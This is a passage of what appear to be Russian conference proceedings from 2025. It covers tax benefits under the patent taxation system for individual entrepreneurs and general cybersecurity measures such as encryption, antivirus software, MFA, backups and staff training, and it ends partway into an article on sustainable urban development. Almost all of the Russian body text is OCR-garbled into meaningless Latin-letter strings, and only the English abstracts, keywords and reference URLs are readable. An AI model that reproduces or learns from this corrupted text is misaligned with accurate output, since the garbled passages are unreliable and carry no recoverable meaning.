npoOJeMbl U O0ECIIEYHTh CIIPABEUIMBBIC OTHOIICHUS MEXIYy aBTOPaAMH KOJIICKTHBHBIX
MIPOU3BEICHUI.
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[Ianosaa B.A.
IlaTenTHas1 cMCcTEMA HAJIOT000/10KeHHSI: JILIOTHI IPOTHB HAJIOTOBOM HATPY3KH

Bamckuti cocyoapcmeennwiii ynugepcumem
(Poccust, Kupog)
doi: 10.18411/trnio-01-2025-238

AHHOTALUSA

B nmanHO# cTatbe pacCMOTPEHBI OCOOEHHOCTH MATECHTHOW CHCTEMBI HAJIOTOOOIO0XKECHUS
(manee - [ICH) mia mHAMBHIYATbHBIX MPEANPUHUMATEICH U €€ OTIUYHS OT WHBIX PEKHUMOB
Hasioroobnoxenus. [IpeamaraeTcs BHEAPEHHE HAJIOTOBBIX JIBIOT JUIS TPEANPUHUMATENCH -
miarensimukoB [ICH mist cCHKeHHMsI HAJIOTOBOM HArpy3kd W OoJsiee IMOJIHOW 3allluThI MpaB U
3aKOHHBIX HHTEPECOB.

KiroueBble ciioBa: mareHTHasi cucteMa HHajgorooboxenus, [ICH, HamoroBsiii pexum,
HAJIOT000JI0KEeHNE, UHINBUIYAIIbHBIE PEIPUHUMATEIN, HATIOTOBBIN BBIYET.

Abstract
This article examines the features of the patent taxation system (hereinafter referred to as
PTS) for individual entrepreneurs and its differences from other taxation regimes. It is proposed
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to introduce tax benefits for entrepreneurs - PTS payers to reduce the tax burden and more fully
protect rights and legitimate interests.

Keywords: patent taxation system, PTS, tax regime, taxation, individual entrepreneurs,
tax deduction.

Ha cerogusimiamii nens UIT MoryT BbIOMpaTh M3 HECKOJNBKHUX HAJIOTOBBIX PEKMMOB B
3aBUCUMOCTH OT YpPOBHS JI0XOJa, KOJIMYECTBA HAEMHBIX PAOOTHUKOB M HHBIX (DaKTOPOB,
BIMSIFOLIMX Ha BHIOOP MOAXOJSIIETO HAJIOTOBOTO PEXKUMA.

MpbI OCTaHOBMMCSI Ha PACCMOTPEHHMM TATEHTHOW CHUCTEMBlI HAJIOrooO0JIoKeHHWs. [ maBa
26.5 Hanorosoro xonekca Poccuiickoit ®@enepamyu (naee - HK P®) 3akperuiser nonoxenus,
Kacalollyecsl IaTEHTHOM CHCTeMBI HayjorooOmokenus. Ctout orMmetuTh, IICH «BBOgUTCA B
neiicTBUe 3aKoHaMu CcyObekToB Poccuiickoit @enepanii M NPUMEHSETCS Ha TEPPUTOPUSLX
yKazaHHbIX cyOBbekToB Poccuiickoit @enepauun». Hanoromnarensumkamu [THC moryTt ObITh
JIUIIb UHAVUBUAYAJIbHBIC MPEANPUHUMATETN, KOTOPhIE B YCTAHOBJICHHOM TMOPSIJIKE MEPEInIn Ha
YKa3aHHBIA PEeXUM HAJIOT000I0KEHUSI.

OpHuM W3 BaXXHBIX YCIIOBHM JACUCTBUA MATeHTA - B mpejaenax cyorekta PD, B koTopom
OH npuoOpeTeH. HauBuayanbHbIe TPEeANPUHUMATEIN MOTYT HMETh HECKOJIBKO MaTEHTOB.

IICH npumeHsieTcsi B OTHOIIIEHUH OTJEIBHBIX BUIOB JICATEIHHOCTH, HAIIPUMED: PEMOHT
Y TIOLIMB IIBEUHBIX, MEXOBBIX U KOXKAHBIX U3JI€IHN, TAPUKMAXEPCKUE U KOCMETUYECKHUE YCIIYTH,
PEMOHT MeOeNI M TIPEMETOB JIOMAIIIHETO 0OMXO0/1a, HIIEKTPOHHON OBITOBON TEXHHKH, YCIYTH B
obnactu ¢ororpaduu, U3rOTOBICHUE U3ICIUN HAPOJAHBIX XYJ0KECTBEHHBIX IPOMBICIIOB U T.1.

CyObekTel PO BrnpaBe ycTaHaBIMBATh pa3Mep MOTEHIMAIBLHOTO TOJOBOTO J0XO/Ia,
muddepeHpoBaTh TeppuTOopHI0 cyonekTa Poccuiickoit ®Denmepaiuu M0 TEPPUTOPHUSIM
JENCTBUS TIATEHTOB MO0 MYHHUIIMTIAIBHBIM 00pa3oBaHMsAM, Takxke nuddepeHIrpoBaTh BUIBI
MPEANPUHUMATENILCKON  IeATENTPHOCTH, eclM  Takas JuddepeHnuanys npeaIycMOoTpeHa
OKB3/lom. Takxe, cyobekTsl PO BripaBe BKIIIOYATH B IEPEUEHb BUAOB MPEAIPUHUMATEIHCKON
JeSITeIbHOCTH, B OTHOIIIEHUHU KOTOPBIX OyaeT mpumensiteest [ICH.

I[THC ommuaercs OT WHBIX PeXUMOB Hamorooomokenuss g UIl  Hammaurem
(UKCHPOBAaHHOW CTaBKH, MOCKOJIBKY HaJoroBasi 0aza MCUYHUCISIETCS MOTEHIMATbHBIM JOXOAO0M
Hajoromiatenpiuka. OMHaKO, CTOUT OTMETUTh, YTO HE BCE BUJBI JICATEIHHOCTH Pa3pelieHbI
MpY TIPUMEHEHUH TMATEHTHOM CHCTEMBI HAIOrooOJoXKeHus. Hampumep, B OTHOIICHHWH BUIOB
MIPEIMTPUHUMATEIBCKON  JICSITETFHOCTH, OCYIIECTBISIEMBIX B paMKax JOrOoBOpa IPOCTOTO
TOBapUIlEeCTBAa (JIOrOBOpa O COBMECTHOW [EATEIbHOCTH) WM JOrOBOpa JIOBEPHUTEIBHOIO
yIIpaBJIeHUs] IMYILECTBOM MaTEeHTHAs! CUCTEMAa HAJIOTO00I0KEHUS He MpuMeHsieTcs. Takke, mpu
npumenennu [ICH cymiecTBylOT orpaHuyeHuss MO IUIOUIA/IM, HAIpuUMEp OrpaHUYEHHUs [0
IUIOIIAAM B OTHOIIEHWHM DPO3HUYHOW TOPTOBIM W OKa3zaHHs yCIyr OOIIECTBEHHOTO MUTAHUS
cocTaBisitoT 150 KB. M.

K orpannuenusam nnst npumenenus [ICH niia oTaenbHbIX BUAOB IPEANPUHUMATETBCKON
JESTeNIbHOCTH, TAK)KE YCTAaHABIIMBAIOTCS

1. Tlo oOmel miomamyd caaBaeMbIX B apeHay (HaeM) COOCTBEHHBIX WIIH
apEHIOBAHHBIX >KUJIBIX TMOMEIICHUN U (MJIH) HEKUJIBIX MMOMEIIEHUH, €CIH 3TO
JIeSITeIbHOCTD, CB3aHHAS C U3BJICUEHUEM JI0X0/1a OT Ca4yM B apeHay (Haema)
JKWJIBIX U HE KHUJIBIX TTOMEIICHUIA;

2. Tlo oOmeMy KOIWYECTBY AaBTOTPAHCIOPTHBIX CPEICTB W CYIOB BOJIHOIO
TPAHCIIOPTa, HATIPUMED B CIy4asiX MPEJIOCTABIICHUSI aBTOTPAHCTIOPTHBIX YCIYT
I10 NIEPEBO3KE IPy3a;

3. Tlo ofbmemy KOIMYECTBY OOBEKTOB CTALMOHAPHOM M HECTallMOHAPHOMN
TOPTrOBOM CETH U OOBEKTOB OPraHMU3AIMK OOIIECTBEHHOTO MUTAHUS M (WJIH) UX
oOmielt  TUIOmAaAM, HAmpuUMep B CAyYasxX IMPEIOCTABICHUS  YCIYT
OOIIIECTBEHHOTO  IMHTAHHSA, KOTOPHIC  OKa3bIBAIOTCS  4epe3  OOBEKTHI
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OpraHu3alyy OOUIECTBEHHOTO MUTAHUS U HE MMEIOUINE 3ajla 00CTY KUBaHUS
MMOCETUTENICH;
4.  VIHble orpaHUYEHMUSL.

[laTeHTHYIO CHCTEMy HaJOTOOOJIOKEHHUSI TPUMEHSIETCS HAPSAY C JAPYTUMH PEKUMaMH
HaJIOr000JI0KEHUSI, IPH YCIIOBUHU Pa3/IeIbHOTO BEICHHS OYXTalTepCKOro yuera.

Kak u3BecTHO, Malblii ¥ CpeHUN OW3HEC SIBISIETCS OMOPOW IS TOCYAApCTBA, U €r0
noJiep’kka o0OecrneynBaeT ycToldynBoe 3koHoMuueckue paszputue. [lomsHckas H.IT. B cBoeit
pabote yrBepkmaer: «Jlng obOecriedeHUsT Tepexona POCCHUICKOM SKOHOMHUKHM Ha MYTh
YCTOWYMBOTO pa3BUTHS, B T.4., HAa HWHHOBAIMOHHBIN IyTh, MOJJCPXKKA MaJIoTO OM3HEca
CTaHOBUTCSl BaKHEHILEH cTpaTrernyeckoil 3amavedd, Qaxkropom oOecreueHHs YCIEIIHOro
COLIMAJIbHO-DKOHOMMYECKOT0 pa3Butus Poccumy.

CymecTByeT MHEHME, 4YTO HaJoroBas Harpy3ka Ha Majloe U  CpeaHee
MpeapUHUMaTeNbCTBO 3aBbllieHa. Hampumep, CemenoBa I'.H. oTmeuaer «3-3a BBICOKOTO
YPOBHSI HQJIOTOBOM HAarpy3k, MpEeANpPUHUMATENIbCKAsi OTpPaciib HCHBITBIBAET CEPHE3HBIC
po0JIeMbl ¢ BEICHUEM CBOEH JIEATENbHOCTH U MEPECTaeT CYIIeCTBOBATh MIIM YXOAUT B TEHEBOM
CEKTOP DKOHOMUKUY.

B kauectBe oOneruenust HajoroBoi Harpy3ku HWII nmMeroT BO3MOXKHOCTb CHU3UTH
CTOMMOCTD MTATE€HTA 32 CUET CTPAXOBBIX B3HOCOB KakK 3a ce0s, TaK U 32 HAEMHBIX pAOOTHHUKOB.

B nanHoit pabore mpemaraeTcsi paCIIMpUTh HAJTOTOBBIC JIBIOTHI ISl HHIWNBHYaTbHBIX
IpeAnpUHUMATENCH, UCTIONB3YIOIINE TATEHTHYIO0 CUCTEMY HAJIOr000I0KEHNUS.

Kak n3BecTHO, HHAUBUAYAIbHBIE TPEANPUHUMATENN, KOTOPbIE HE YIITAYUBAIOT HAJIOT HA
noxon it pusmdeckux nur (manee - HADII) He mMeroT mpaBa Ha IMMOJYYEHHE HAJIOTOBOTO
BbIUETA U3 HaJiora Ha J1oxof s pusndeckux nuu. Ymnara HADJI B nanHOM ciiyyae 3aMeHeHa
HAa YIUIaTy CTOMMOCTH ITaTEHTA.

Uro kacaercss Hajora Ha J0xXoA (U3UYECKUX JIUI, CleAyeT oOpaTuTh BHUMAaHUE Ha
CUCTEMY BBIUYETOB, KOTOpas SBJISIETCS BO3MOXHOCTBIO CHU3HTh HAJIOTOBYKO HAarpy3Ky JUist
HanOoJsee ySa3BUMbIX CIIOEB HaCEJIeHUs], yKa3aHHbIX B HaroroBom komekce.

Hcxonst u3 3T0r0, MBI IpeularaéM MCIOJb30BATh HEKOTOPBIE MOJOXKEHHUS B CUCTEME
asrot npu yriate ITHC, ananornunyro i Hanoromnarensmykos HJIDJT.

K nanorossim Beruetam, cornacHo riase 23 HK P®, otHocsTes criemyromue:

1.  Crannaptaele. Ha Takume BbIYETBI HMMEIOT IIPAaBO HAJIOTOIJIATEINIBIIUKH,
KoTOpble nepeunciiensl B 11. 1 ct. 218 HK P® (iprorHsie kaTeropun), a Takxe
JMIA, Ha YbeM 00ECIIeUeHNH HaXOJSITCS IETH;

2. Coumanbhble. [ JIUI, KOTOpbIe HECIM pacxojbl Ha JieYeHUe, oOyueHue,
(UBKYTBTYPHO-03I0POBUTENBHBIE YCIIYTH, Ha JONOJHHUTENBHBIE MEpHI TI0
IIEHCIOHHOMY OOECIIEYEeHHMI0O U Ha JPYrHe COLMAIbHO 3HauuMble LEenu (CT.
219 HK P®);

3. HwmymectBenHble. Takoil HAIOTOBBIA BBIYET BO3MOXKEH MU MPHOOPETCHUH
HEJIBUKMMOCTH, 36MEJIBHOTO y4acTKa U T.1I.;

4.  Uuwble.

MsI cunMtaeM, YTO BBEACHHE CTAHIIAPTHBIX HAJIOIOBBIX BbIYETOB B riaBy 26 HK PO,
a"HanormyHo miaBe 23 HK P® Oyxer cmocoOGcTBoBaTh Haubosee MOTHOM MOJIepKKe
MHIUBHIYAIGHBIX TMPEANPUHUMATENCH KaKk (M3HMUYECKUX JIUI M yYYaCTHUKOB 3KOHOMHYECKHX
OTHOULIEHUH, TOCKOJIbKY CHIDKEHHE pa3mepa nartenrta npu [ICH o3HavaeT cHuKeHne HaloroBoi
Harpy3Ky Ha MHIMBUAYAJIbHBIX TPEAIPUHUMATENCH.

Taxoke, cunTaeM HEOOXOIMMBIM [yl pa3BUTHUSA U MOJNIECPKKH MPEANPUHUMATEIBCTBA B
MECTHOCTSIX, UYHCJICHHOCTb HACENICHHMs KOTOpbIX cocTaBiasier MeHee 500 denosek,
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MHJIUBHUIYaJIbHBIX IpPEANpUHUMATEIEeH OCBOOOAUTH OT YIUIAThl NATEHTA, IOCKOJIBKY BEAEHHE
Ou3Heca B yCIOBHUSX MaJIOHACETIEHHOCTH OCJIOKHSET €ro BeICHHE.

Takum 00pa3oM, Mbl CYMTAaeM 4TO HEOOXOJUMO B OOJbIIEH CTENEHH MOAIEPKHUBATH
NpeANPUHUMATENBCTBO, OCOOEHHO B CiIydyasX, KOrja CyObeKTaMu IpellpUHUMATEeIbCTBA
BBICTYTAIOT «JIBIOTHBIE)» KaTErOPHHU, YIOMsIHYThIE B HaoroBom konekce.

*k*k

1. «Hanoroseiii koaexkc Poccuiickoii ®emeparmu (dacts BTOpas)» ot 05.08.2000 N 117-®3 (pen. or
08.08.2024) (c H3M. u IO, BCTYII. B CHITY c 01.10.2024). URL:
https://www.consultant.ru/document/cons_doc_LAW_28165/c3aa0b633551b6317d8aa20b40e4408a5323947
6/;

2. Monsackass H. M. Tlomutuka mnopnepkku CyOBEKTOB Majoro OW3Heca B pETHOHE: posib OaHKOB W
rocymapcrea // TICD. 2015. Ne3 (55). URL: https://cyberleninka.ru/article/n/politika-podderzhki-subektov-
malogo-biznesa-v-regione-rol-bankov-i-gosudarstva (nara o6pamienus: 21.10.2024);

3. CemenoBa I'.H. Hanorosas narpy3ka B Poccun: mpo0iemsl, TIepCIeKTUBbI U myTH ontumusauuu // EESJ].
2022. Ne7-1 (83). URL: https://cyberleninka.ru/article/n/nalogovaya-nagruzka-v-rossii-problemy-perspektivy-
i-puti-optimizatsii (nara obparmenus: 27.10.2024).

leBko H.P., KonypoaeBa A.A.
CoBpeMeHHBbIe MEeTObI KH0EP3aMThI

Kaszancxuii hayuonanvholil ucciedosamenbCKuti mexHoa02u4ecKull yHusepcumen,
Bcepoccuiickuii cocyoapcmeennwiii ynugeepcumem rocmuyuu (PIIA)
(Poccus, Kazamnv)

doi: 10.18411/trnio-01-2025-239

AHHOTAIINA

B spy uudposuzaium, rae nHGOpMAIMOHHBIE CUCTEMBI POHUKAIOT B KXKIBIA YrOJIOK
Hamero ObITHsI, KHOepOE30MacHOCTh MpeBpaIaeTcs B KPUTUUECKUI JIEMEHT MOBCEIHEBHOCTH.
Ona BKJTIOYaeT B ce0s1 MHOT0OOpa3re HApaBICHUH, OT TAPAHTUN COXPAHHOCTH MH(POPMAITIH 10
3aIlIUTHI JTMYHBIX JIAHHBIX MOJIb30BaTesell. B maHHOM cTaThe aBTOpaMH PacCMOTPEHBI CIIOCOOBI
oOecnieueHus] KOH(HUACHIIMATBHOCTH JIaHHBIX, B YHCJIE€ KOTOPHIX KpunTorpaduyaeckoe
mumppoBaHUe U NPUMEHEHHWE AHTHBHUPYCHOIO MPOrPAaMMHOIO OOECHEUEHUs], OCBEILAOTCS
aKTyajdbHbIe HMH(OpPMAIIMOHHBIE YTPO3bl W BBIBOBBL. Ocoboe BHUMaHUE  YACTSETCS
HEOOXOMMOCTH MHTETPUPOBAHHOTO MOAXOJA K 00eCreYeHHI0 0€30MacHOCTH, COYETAIOIIETO B
ce0e KaK TEXHUYECKUE PEIlICHHs, TaK U a]MUHUCTPATUBHbIE IOJUTUKH.

KaioueBble cioBa: 3ammra uH(OpManuy, KuOepOE30MacHOCTb, WH(POPMAIIMOHHBIC
pecypcehl, YIpo3bl, KPUIITO3AIUTA.

Abstract

In the era of digitalization, where information systems penetrate every corner of our lives,
cybersecurity is becoming a critical element of everyday life. It includes a variety of areas, from
guaranteeing the safety of information to protecting the personal data of users. In this article, the
authors consider ways to ensure data confidentiality, including cryptographic encryption and the
use of anti-virus software, and highlight current information threats and challenges. Particular
attention is paid to the need for an integrated approach to security, combining both technical
solutions and administrative policies.

Keywords: information protection, cybersecurity, information resources, threats,
cryptoprotection.

Jns obecriedeHust BbICOKOA(P(PEKTUBHON Oe30macHOCTH WH(POPMALMOHHBIX CHCTEM
HEOOXOMMO PeasTM30BaTh HHTEIPUPOBAHHBIA MOAXO/, OOBEAMHSIIONIMI KaK TEXHOJIOTHYECKHE
CpEICTBA, TaK U MOBBIIICHHE YPOBHSI HH)OPMHUPOBAHHOCTH CaAMUX I0JIk30BaTese. [Ipumenenne
AHTHBUPYCHOTO MNPOTPAMMHOIO OOECIICUEHHMS, CETEBBIX AKpPaHOB ((palipBOIIIOB) M CHCTEM
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OoOHapyXeHHUsI BTOPKEHUI MO3BOJISIET CPOPMUPOBATH 3ALUTY Ha HECKOJIBKUX YPOBHIX. OHAKO
6e3 0a30BOro OCO3HAHMS MOTEHIHMAIBHBIX YIPO3 CO CTOPOHBI IOJB30BAaTENEH, Ja)ke TakKoe
MHOT'OYpPOBHEBOE 00ecTiedeHne Oe30MaCHOCTH MOXKET OKa3aThCsl HeAPPEKTUBHBIM.

[TpumeyaTenbHO, YTO OAHUM M3 KIIOYEBBIX 3JIEMEHTOB B cepe uHOpManoHHOMH
0e30MacHOCTH SIBJIICTCSl CBoeBpeMeHHoe oOHoBieHue [10. D10 moTtomy, 4TO MPOrpaMMHBIC
YS3BUMOCTH OTKPBIBAIOT ABEPU Ul KHOepHpecTymHUKOB, a akryanmsauus [10 crnocobcTByer
CHIDKEHHIO BEPOSITHOCTU aTak. Kpome Toro, Henb3si HEIOOLEHHUBATh LIEHHOCTh WCIOJIb30BaHUS
CJIOXHBIX MApoJiel 1 BHEAPEHHUSI MEXaHU3MOB MHOTOYPOBHEBOM ayTeHTH()UKAIUH.

KommbloTepHass  6e30macHOCT,  OXBaThIBA€T  KOMIUIEKC MeEp W CTaHJAapTOB,
npefHa3HaYeHHBIX JJIs1 OOecrevyeHHs 3allUThl JAaHHBIX M WH(QOPMAIIMOHHBIX CHUCTEM OT
HEaBTOPU30BAHHOTO TPOHUKHOBEHUS, BPEIOHOCHOTO MPOrPaMMHOI0 OOECHEeYEeHUsI U TMOTepH
uHpopmanuu. K oCHOBHBIM 371eMeHTaM OTHOCSITCS:

1. KoHduneHmaibHOCTD

Kpuntorpapus:  Ilpumensiiite  meronsl  mmppoBaHus s oOecIieueHUs
KOH(UIEHIIMAIBHOCTH JAHHBIX BO BPeMS MX XpPaHEHHS U B MOMEHT MEPECHUIKH.

VYrpapneHne JOCTYIIOM: pEryJupoBKa JOCTyla K HWH(QOPMAIMOHHBIM pecypcaM
UCKJIIOYUTEBHO [T YIIOJTHOMOUYEHHBIX JIULI.

2. llemoctHOCTH

3ammra OT BPEAOHOCHBIX IMPOrpaMM: YCTAaHOBUTE AaHTHBHUPYCHI U AHTUBPEIOHOCHBIE
YTUIIUTHL.

bokannpoBaHue MaHHBIX: CHCTEMATUYECKU COXPAHSWTE KOMUM HH(GOpMAIMU AN HX
TMIOCJICTYIOIIETO BOCCTAHOBJICHUS TIPH BOSHUKHOBEHHUHU YTEPH HITH IOBPEKIICHHUSI.

3. JlocTynmHOCTh

boprba ¢ kubeparakamu: rapantupyiite 3aumry ot DDo0S-arak u npounx kubGepyrpos,
CHOCOOHBIX MPEXOIAIIE TN HABCET]a BEIBECTH U3 CTPOSI CUCTEMY.

MOHHUTOPHHT CHCTEMBI: TIPUMEHSHTE CpEICTBA MOHHMTOPHWHTA [UIS BBIIBICHUS H
OTBETHBIX MEP K BO3MOKHBIM YTPO3aM.

4. Ayrentudukanms

bezomacHOCTh aKKayHTOB: BBOJIUTE KPETKHE, MHOTOCUMBOJIbHBIE MAPOIH U OOHOBJISIITE
WX TIEPHOTTYECKH.

Mmuorodakrtopras ayrentudukanus (MFA): peammsyiite MFA, 4ro0bl obecrieuuthb
JIOTIOJTHUTEIIbHBIN cTI0M 0€30MacHOCTH MPH ayTeHTU(UKAIIH B CHCTEME.

5. O0OyueHue nonp3oBaTenen

ABTOpU30BaHHbIE MEpBI: MPOBEIUTE KYpPCHl JJIsI TIEPCOHANA MO KIFOYEBBIM acleKTaM
MH(POPMALMOHHONW O€30MacHOCTH, OXBATHIBAIOIINE HWACHTH(PUKALMIO (QUIIUHTOBBIX aTaKk |
Pa3IMYHBIX CONMATBFHBIX HHKXEHEPHBIX YTPO3.

Pa3zpabotka M peanuzanusi MOJUTUK O€30MACHOCTH JUIS YIPaBICHUS JOCTYIIOM K
KOPIIOPATUBHBIM aKTHBaM.

6. OOHOBJICHUS 1 TIATYH

KoncucrentHoe o6HoBnenue: IlognepxuBaiite akrtyanpHocTs OC, mporpamMm U
AQHTUBUPYCOB, OOHOBJISISI UX JI0 HOBEUIIIUX PEITU30B.

MuHUMH3AIUST PUCKOB O€30MaCHOCTH: PETYISPHO TPOBOJUTE ayJUTHI ySI3BUMOCTEH M
obecrnieubTe X HEUTPATU3ALILIO.

7. YueTHble 3aIIUCH U TIpaBa

[lpyHIMT HAaWMEHBIINX MPUBWICTHI: YUYETHBIE 3alllCH TOJNB30BATENICH JTOJDKHBI
o0nazaTh HMCKIIOYUTESIBHO TEMH IpaBaMH JIOCTYyIa, KOTOpPBIE CTPOro TpeOyroTCs JUis
peanuzanuu npodeccHoHaIbHbIX 331a4.

VYOupaiite  ycrapeBIIME  aKKayHTbl, pPETYSIPHO  IepecMaTpuBas — aKTUBHOCTb
MOJIb30BATENICH M UCKITIOYast T€, YTO OE3eHCTBYIOT.

8. duznueckas 0€30MacHOCTb

Oo0ecrieueHne 0€30MaCHOCTH OOOPYIOBAaHMS: KOHTPOJIHMPYHTE (HU3MUECKHH JOCTYN K
cepBepaM U YCTPOWCTBAM, KPUTHYECKH Ba)KHBIM JJISi CHUCTEMBI, YTOOBI MPEIOTBPATUTH
HEaBTOPHU3UPOBAHHBIN JOCTYIL
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CucreMa MOHHMTOpWHra: oOecneubTe O€30MacHOCTh IOMEIIEHHH C  IOMOIIBIO
BUJICOHAOIIOJICHUS U CUCTEM YIIPABJICHUS! JOCTYIIOM.

OOecnieueHne KuOepOE30MacHOCTH MpPEACTaBIsAeT CO00M MHOTOCTOPOHHHMI Ipoliecc,
TpeOyeT HENpephIBHOTO MOHUTOPWHIA W aJaNlTalMy 3allUTHBIX CTPATETUM K BO3HUKAIOIIUM
yrpo3am.

Opa 1uppoBU3aLUK TOAHUMAET PSJl CIOKHBIX BOIIPOCOB B chepe KnOepOe30MacHOCTH.
CoBpeMeHHBIE OINMACHOCTH Uil IM(POBBIX CHUCTEM YCYTYOISIIOTCS WX pa3HOOOpa3ueM H
CIIOXHOCTBIO, BKIIOuast 3noBpeanoe I1O, arakum couuanbHOM HHXXEHEpUU uepe3 (DHIIMHT,
HapyIIeHUs 1IeJOCTHOCTH JAHHBIX M KHOep-BMeIIaTeIbcTBA B pabOTy KHU3HEHHO Ba)KHBIX
uHppacTpyktyp. B smoxy BceoOuieli nu@poBoi HHTErpalldi W TOCTOSHHOTO OHJIAMH-
NPUCYTCTBHS, JaHHbIE Yrpo3bl MOTYT 3aTparuBarh JIOOBIX YYacTHHKOB IHM(POBOro
NPOCTpaHCTBA — HAuMHAasg OT HEOONbIIMX NPEINpPUATUH M 3aKaHYMBas MacCIUTAOHBIMU
rJ100aJIbHBIMU KOMIIAHUSIMU.

Jns  HeWrpanmuzanuu  KuOepyrpo3 Obuid  pa3paOoTaHbl pa3iIM4HbIE 3aIlUTHBIC
MexaHu3Mbl. [IpruMeHeHHe KOMIUIEKCHBIX CHUCTEM O€30IIaCHOCTH, HMHTErpUPYIOLMX B cels
anTuBUpychl, paeposibl u IDS/IPS cucremsl, crano obmenpuHsTol npaktukoit. [lapamiensHo,
3HAYUMOCTh NMPUOOPETAIOT TEXHOJIOTUH MH(POBaHUS Ui oOecriedeHusT KOH(DUICHIIMAIBHOCTH
JIAHHBIX U MOATBEPXKICHH JETUTUMHOCTH Tosib30oBaTenell. [loaroroBka nepcoHana B Bompocax
MH(POPMALMOHHON 0€30MacCHOCTH U (POPMHUPOBAHUE KOPIIOPATUBHOM KYJBTYpPbI, HAPaBIEHHON
Ha NpeIoTBpalleHIe KHOep-UHIUICHTOB, 3()()EKTUBHO CHI)KACT MOTEHIHAIbHBIE YTPO3BI.

B wurore, mna Hage)kHOM 3ammThl  MHGOPMAIMOHHBIX  CHUCTEM  HEOOXOIMM
MHOT'0aCIIEKTHBIN MOJX0/1, BKJIFOUAIOLIHH B CE0S1 M TEXHOJIOTUYECKUE, U YEIIOBEUECKHE aCIIEKThI
6e3zomacHocty. Pa3paboTka cTpaTernmyeckoro IUiaHa O€30HacHOCTH M €ro  pPeryisipHoe
OOHOBJIEHUE SIBJISIFOTCS KPUTHUECKH BAXKHBIMU JUIS TOJIEPAKAHUS 3aLUILEHHOCTH Nepesl TULOM
TIOCTOSTHHO 3BOJTIOIMOHUPYIOMUX IH(POBBIX YIPO3.

B ciepe undpopmanmonHON 6€30MaCHOCTH Mbl CTAJIKHBAEMCS C IIUPOKUM CIIEKTPOM
yI'po3, KOTOpbIE HEYCTaHHO Pa3BUBAIOTCS. BOT mprMephl 3aIlIUTHBIX MEXaHU3MOB:

OOHOBIIEHHE aHTUBUPYCHOTO U @HTUIIIMOHCKOTO IPOTPaMMHOI0 00€CTIEYEeHNs: KITI0Y K
3 PEKTUBHOM 3aIIUTE TPOTHB BPEAOHOCHBIX ITPOTPAMM.

@aiipBosbl: MexaHn3Mbl 0€30IIaCHOCTH, PErYIUPYIOLIHE NOTOK JAHHBIX MEKAY CETSIMH,
IpeceKasi HeaBTOPU30BaHHbIE JJOCTYIIBI.

3ammTa gaHHbIX: [IpuMmeHeHue KpunTorpapuyeckux TEXHMK Ui OOecHeyeHus
0€30MacHOCTH CEKPETHOW MH(POPMAITUH NP €€ COXpaHEHUN U OOMEHE.

Mmuorodakropnas ayrenruduxanus (MFA) BrimodyaeT npumeneHune 6oinee 4eM OIHOTO
cnoco0a TMOATBEPXKICHUS JMYHOCTH TPH aBTOPU3ALMM B CHCTEMaX, YTO PE3KO IOBBIIIAET
3aIIUTY OT HECAaHKLIMOHUPOBAHHOT'O AOCTYTIA.

[Mepromuueckue anaenTs! [10: Anrpeiin OC u codra 1uist TUKBUIAINHN CTa0BIX MECT.

NuctpykTaxxk mnepconana: OpraHuzanus IOCTOSHHBIX 00pa3oBaTeNIbHBIX CECCUM B
obsact MH(OPMALMOHHON 0€30MacHOCTU C LIEJbI0 YIIy4IlIeHHs MOHMMaHUS MMOTEHIUAIbHBIX
PHUCKOB M METO/IMK UX HEUTpaIu3aluu.

bskan pmanHbIX: PerymspHoe nyOnmupoBaHue wuHpoOpManuu —oOecriedyunBaeT €€
BOCCTAHOBJIEHHE IOCIIe KHOEpaTaK, BKIIIOYAsl aTaKh BUPYCOB.

MOHHUTOPHHT U ayAUT CHUCTEM 3aKIIFOYaeTCs B HENMPEPHIBHOM HAONIOJCHUM U OLICHKE
nporieccoB B | T-uHdpacTpyKType ¢ 1e1bt0 0OHAPYKEHHSI aHOMAIBHBIX COOBITHH.

Pa3paboTka ¥ BHEIApEHHE CTPOrMX IOJUTUK OE30IIACHOCTH BKJIIOYAET YCTaHOBICHHE
HOPM M TIPaBHJI, KaCAIOUIUXCs T0CTyNa K nH(opMaun U yrnpasienus U T-aktuBamu.

*k*

1. 3opuna H. C. K Bompocy 0 TMOHSTHM M KIACCH(HUKAIMU CIIOCOOOB COBEPIIEHHS KOMITBEOTEPHBIX
npecrymteanit / H. C. 3opuna, I. H. 3opun / BeCTHHK OOILICCTBEHHON HAYJYHO-HCCIICIOBATEIBCKOM
naboparopun  «B3auMoJeNCTBHE yrOJIOBHO-UCTIONHUTENRHOM CHCTEMBI C HHCTUTYTAMH TPAXKIAHCKOTO
00IIIecTBA: HCTOPUKO-TIPABOBBIC U TEOPETUKO-METOI0IOTHYESCKIE acekThy. — 2022. — Ne 25, — C. 97-100.

2. Koben I1. H. Kubepreppopusm - kak BakHeHIas yrpo3a HarmoHamsHOH Oe3omacHoctn / [1. H. Kober /
HarnmonarnbHast 6e301acHOCTh U cTpaTernueckoe mianuposanue. — 2022. — Ne 1(37). — C. 23-28.
3. [MleBko H.P. TIpoGmemsbr obecrieuenust kubepoOe3zomanocty // YdeHsle 3amuckn Kazanckoro ¢unmana

"Poccuiickoro rocynapcTBeHHOro yHuBepcuTeTa npasocyaus”. 2023. T. 19. C. 181-185.



-104- JIlendenyuu paseumus HAyKu u obpasosanis

PA3JIEJ XXII1. MOJUTUYECKHUE HAYKHN

I'ypves T.A., BepembeBa O.B., I'opsos JI.M.
YcroiiunBoe pa3BUTHE FOPOJACKUX TEPPUTOPHIi: CTPATErHU U METOAbI

@I'BOY BO Kyol'AY um. U.T. Tpyouruna
(Poccus, Kpacnooap)
doi: 10.18411/trnio-01-2025-240

AHHOTALIUSA

Crates wmccnenyeT 3((GEKTHBHBIE CTpPATeTHH W METOAbl YCTOWYHMBOTO pPa3BUTHS
TOPOJICKUX TEPPUTOPHIA.

KiioueBble ci10Ba: TOpPOACKHE TEPPUTOPUH, YCTOMUYMBOE pa3BUTHE, IH(POBBIC
TEXHOJIOTHH, COBPEMEHHBIE BBI30BbI, ypOaHU3aLMsl, KAYECTBO KU3HH, 3P (PEKTUBHBIE CTPATEIHH.

Abstract

The article explores effective strategies and methods of sustainable development of urban
areas.

Keywords: urban areas, sustainable development, digital technologies, modern
challenges, urbanization, quality of life, effective strategies.

YceronunBoe pa3BUTHE TOPOACKUX TEPPUTOPUM CTAHOBUTCS KIIOUEBOM 3aJayed B
YCJIOBHSIX CTPEMUTEBHOIO POCTa TOPOJOB U U3MEHEHUS! KIIMMATUYECKUX YCIIOBHA. B maHHOM
KOHTEKCTE€ YCTOMYMBOE pa3BUTHE MOXHO OMNPEIECIUTh Kak MPOLECC, HamnpaBiICHHbIA Ha
TAPMOHUYHOE COYETaHHWE DKOHOMHYECKHMX, COIMATBHBIX M DKOJOTHYECKHX TOTPEOHOCTEH,
